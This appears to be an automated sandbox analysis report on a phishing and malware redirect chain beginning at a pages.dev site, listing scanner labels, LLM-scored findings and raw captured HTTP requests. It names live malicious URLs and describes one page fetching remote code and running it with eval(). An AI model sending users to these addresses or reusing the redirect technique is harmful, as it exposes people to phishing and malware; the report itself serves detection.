Source: http://simxtrackredirecttszz.pages.dev/	SlashNext: detection malicious, Label: Fraudulent Website type: Phishing & Social Engineering

Source: https://secretsafedomain.com/smclick?a=81528&c=342883&o=135901&oc=216576&co=112356&mt=16&svi=EwBjNDF	Avira URL Cloud: Label: malware
Source: https://secretsafedomain.com/s?a=81528&sm=235&s=8&sso=1&spt=1716504721184&co=112356&mt=16&rc=71_1969	Avira URL Cloud: Label: malware
Source: https://secretsafedomain.com/service-worker.js	Avira URL Cloud: Label: malware
Source: https://simxtrackredirecttszz.pages.dev/img/profile-1.jpg	Avira URL Cloud: Label: phishing
Source: https://secretsafedomain.com/s?a=81528&sm=235&s=8&sbp=1&spt=1716504721184&co=112356&mt=16&rc=71_1969	Avira URL Cloud: Label: malware
Source: https://simxtrackredirecttszz.pages.dev/style.css	Avira URL Cloud: Label: phishing

Source: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747	LLM: Score: 8 Reasons: The code contains an XMLHttpRequest that fetches and executes code from an external source using eval(). This is a high-risk operation as it can lead to the execution of malicious code. The use of eval() is generally considered dangerous and should be avoided. DOM: 2.4.pages.csv
Source: http://ww12.ngelit.com/?usid=18&utid=25970526717	LLM: Score: 7 Reasons: The code contains an attempt to redirect the top-level window to the current location, which is a common technique used in phishing attacks to prevent users from navigating away from the malicious page. Additionally, the code includes functionality to track user interactions and send data to a server, which could be used for malicious purposes beyond simple tracking or advertisement. DOM: 3.6.pages.csv

Source: http://ww12.ngelit.com/?usid=18&utid=25970526717	HTTP Parser: No favicon
Source: http://ww12.ngelit.com/?usid=18&utid=25970526717	HTTP Parser: No favicon
Source: https://www.adsensecustomsearchads.com/afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8fHx8fHx8MHwwfHwwfHx8MHwwfFcxMD18fDF8VzEwPXxkZGExZTc1ZjBjNTczNTBkMmQ3ZjI4YzA5ZDllYzQ2OWM3MGRiMWIwfDB8ZHAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8&max_radlink_len=40&type=3&uiopt=true&swp=as-drid-2733393318609526&oe=UTF-8&ie=UTF-8&fexp=21404%2C17300003%2C17301431%2C17301433%2C17301436&client_gdprApplies=0&format=r3%7Cs&nocache=8561716504734778&num=0&output=afd_ads&domain_name=ww12.ngelit.com&v=3&bsl=8&pac=0&u_his=1&u_tz=-240&dt=1716504734780&u_w=1280&u_h=1024&biw=1280&bih=907&psw=1280&psh=754&frm=0&uio=--&cont=tc&drt=0&jsid=caf&nfp=1&jsv=635538657&rurl=http%3A%2F%2Fww12.ngelit.com%2F%3Fusid%3D18%26utid%3D25970526717	HTTP Parser: No favicon
Source: https://www.adsensecustomsearchads.com/afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8fHx8fHx8MHwwfHwwfHx8MHwwfFcxMD18fDF8VzEwPXxkZGExZTc1ZjBjNTczNTBkMmQ3ZjI4YzA5ZDllYzQ2OWM3MGRiMWIwfDB8ZHAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8&max_radlink_len=40&type=3&uiopt=true&swp=as-drid-2733393318609526&oe=UTF-8&ie=UTF-8&fexp=21404%2C17300003%2C17301431%2C17301433%2C17301436&client_gdprApplies=0&format=r3%7Cs&nocache=8561716504734778&num=0&output=afd_ads&domain_name=ww12.ngelit.com&v=3&bsl=8&pac=0&u_his=1&u_tz=-240&dt=1716504734780&u_w=1280&u_h=1024&biw=1280&bih=907&psw=1280&psh=754&frm=0&uio=--&cont=tc&drt=0&jsid=caf&nfp=1&jsv=635538657&rurl=http%3A%2F%2Fww12.ngelit.com%2F%3Fusid%3D18%26utid%3D25970526717	HTTP Parser: No favicon
Source: https://www.adsensecustomsearchads.com/afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8fHx8fHx8MHwwfHwwfHx8MHwwfFcxMD18fDF8VzEwPXxkZGExZTc1ZjBjNTczNTBkMmQ3ZjI4YzA5ZDllYzQ2OWM3MGRiMWIwfDB8ZHAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8&max_radlink_len=40&type=3&uiopt=true&swp=as-drid-2733393318609526&oe=UTF-8&ie=UTF-8&fexp=21404%2C17300003%2C17301431%2C17301433%2C17301436&client_gdprApplies=0&format=r3%7Cs&nocache=8561716504734778&num=0&output=afd_ads&domain_name=ww12.ngelit.com&v=3&bsl=8&pac=0&u_his=1&u_tz=-240&dt=1716504734780&u_w=1280&u_h=1024&biw=1280&bih=907&psw=1280&psh=754&frm=0&uio=--&cont=tc&drt=0&jsid=caf&nfp=1&jsv=635538657&rurl=http%3A%2F%2Fww12.ngelit.com%2F%3Fusid%3D18%26utid%3D25970526717	HTTP Parser: No favicon

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /style.css HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://simxtrackredirecttszz.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/bootstrap.min.css?3 HTTP/1.1Host: telegram.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://simxtrackredirecttszz.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/telegram.css?227 HTTP/1.1Host: telegram.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://simxtrackredirecttszz.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/tgwallpaper.min.js?3 HTTP/1.1Host: telegram.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://simxtrackredirecttszz.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/profile-1.jpg HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://simxtrackredirecttszz.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/tgme/pattern.svg?1 HTTP/1.1Host: telegram.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://telegram.org/css/telegram.css?227Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/profile-1.jpg HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/favicon.ico HTTP/1.1Host: telegram.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://simxtrackredirecttszz.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/tgme/pattern.svg?1 HTTP/1.1Host: telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /img/favicon.ico HTTP/1.1Host: telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /link-1 HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /style.css HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://simxtrackredirecttszz.pages.dev/link-1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "90f6d7cd3044dadc6d9b9f251b985245"
Source: global traffic	HTTP traffic detected: GET /img/profile-1.jpg HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://simxtrackredirecttszz.pages.dev/link-1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "398570c34aafa08182d3cd0963670b22"
Source: global traffic	HTTP traffic detected: GET /img/profile-1.jpg HTTP/1.1Host: simxtrackredirecttszz.pages.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "398570c34aafa08182d3cd0963670b22"
Source: global traffic	HTTP traffic detected: GET /tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ HTTP/1.1Host: simxtrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 HTTP/1.1Host: secretsafedomain.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /user-segments/?pid=TH HTTP/1.1Host: statisticresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://secretsafedomain.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /color?x=1&forScheme=aHR0cHM6Ly9zZWNyZXRzYWZlZG9tYWluLmNvbS9zP2E9ODE1Mjgmc209MjM1JmNvPTExMjM1NiZtdD0xNiZzMT1FVk9TX1RBWlomczI9NTc2NzQ3 HTTP/1.1Host: cloudflrcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://secretsafedomain.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://secretsafedomain.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/retargeting/set/3f949dfe-3372-4caa-baf0-047f88323cfa?pageviewe={pageviewe}&lead={lead} HTTP/1.1Host: tsyndicate.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://secretsafedomain.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /service-worker.js HTTP/1.1Host: secretsafedomain.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: v_rule_freq_v2_1_001=gdXLFugAbf4IueEdLRjw0thA7hUlhtzwKDvv5kumE971xuqr9DMZSKeN5JMVNn+i; gdm_uid_v2_1_001=U/r8lLUPAWcxDaviLTpwFaKcPwxoewHxyP3PvdEcoZBqGwiXr2tBu5efBif1Hpu0; v_rule_freq_v1_1_001=gdXLFugAbf4IueEdLRjw0thA7hUlhtzwKDvv5kumE971xuqr9DMZSKeN5JMVNn+i; v_seg_freq_v1_1_001=w+sV2Dl79C1RO54AAC2G/oufeiLDs7TJHVltH+BRr3s=; gdm_visit_freq_v2_1_001=oXa+SKDZFOD0jqa0rxAdlM/pSb3k2TlE1cALdU3RA5w=; v_seg_freq_v2_1_001=w+sV2Dl79C1RO54AAC2G/oufeiLDs7TJHVltH+BRr3s=; gdm_visit_freq_v1_1_001=oXa+SKDZFOD0jqa0rxAdlM/pSb3k2TlE1cALdU3RA5w=; gdm_suid_v2_1_001=HPfHs3OFxkaNOwO68jCjbQ==; gdm_uid_v1_1_001=U/r8lLUPAWcxDaviLTpwFaKcPwxoewHxyP3PvdEcoZBqGwiXr2tBu5efBif1Hpu0; gdm_suid_v1_1_001=HPfHs3OFxkaNOwO68jCjbQ==
Source: global traffic	HTTP traffic detected: GET /js/mp.min.js HTTP/1.1Host: static.trafficjunky.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://secretsafedomain.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/retargeting/set/3f949dfe-3372-4caa-baf0-047f88323cfa?pageviewe={pageviewe}&lead={lead} HTTP/1.1Host: tsyndicate.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ts_rt_3f949dfe-3372-4caa-baf0-047f88323cfa=ANmUCUOmR4kbQgQSPEjEBJwwZ8rYSVPmThmDCB9GnFixDMOA
Source: global traffic	HTTP traffic detected: GET /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-179148962-2&cid=343168255.1716504726&jid=1258097187&gjid=971496842&_gid=1698602312.1716504726&_u=YEBAAEAAAAAAACAAI~&z=1890898182 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adsense/domains/caf.js?abp=1&adsdeli=true HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://ww12.ngelit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8fHx8fHx8MHwwfHwwfHx8MHwwfFcxMD18fDF8VzEwPXxkZGExZTc1ZjBjNTczNTBkMmQ3ZjI4YzA5ZDllYzQ2OWM3MGRiMWIwfDB8ZHAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8&max_radlink_len=40&type=3&uiopt=true&swp=as-drid-2733393318609526&oe=UTF-8&ie=UTF-8&fexp=21404%2C17300003%2C17301431%2C17301433%2C17301436&client_gdprApplies=0&format=r3%7Cs&nocache=8561716504734778&num=0&output=afd_ads&domain_name=ww12.ngelit.com&v=3&bsl=8&pac=0&u_his=1&u_tz=-240&dt=1716504734780&u_w=1280&u_h=1024&biw=1280&bih=907&psw=1280&psh=754&frm=0&uio=--&cont=tc&drt=0&jsid=caf&nfp=1&jsv=635538657&rurl=http%3A%2F%2Fww12.ngelit.com%2F%3Fusid%3D18%26utid%3D25970526717 HTTP/1.1Host: www.adsensecustomsearchads.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: http://ww12.ngelit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adsense/domains/caf.js?pac=0 HTTP/1.1Host: www.adsensecustomsearchads.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.adsensecustomsearchads.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad_icons/standard/publisher_icon_image/chevron.svg?c=%23ffffff HTTP/1.1Host: afs.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.adsensecustomsearchads.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff HTTP/1.1Host: afs.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.adsensecustomsearchads.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
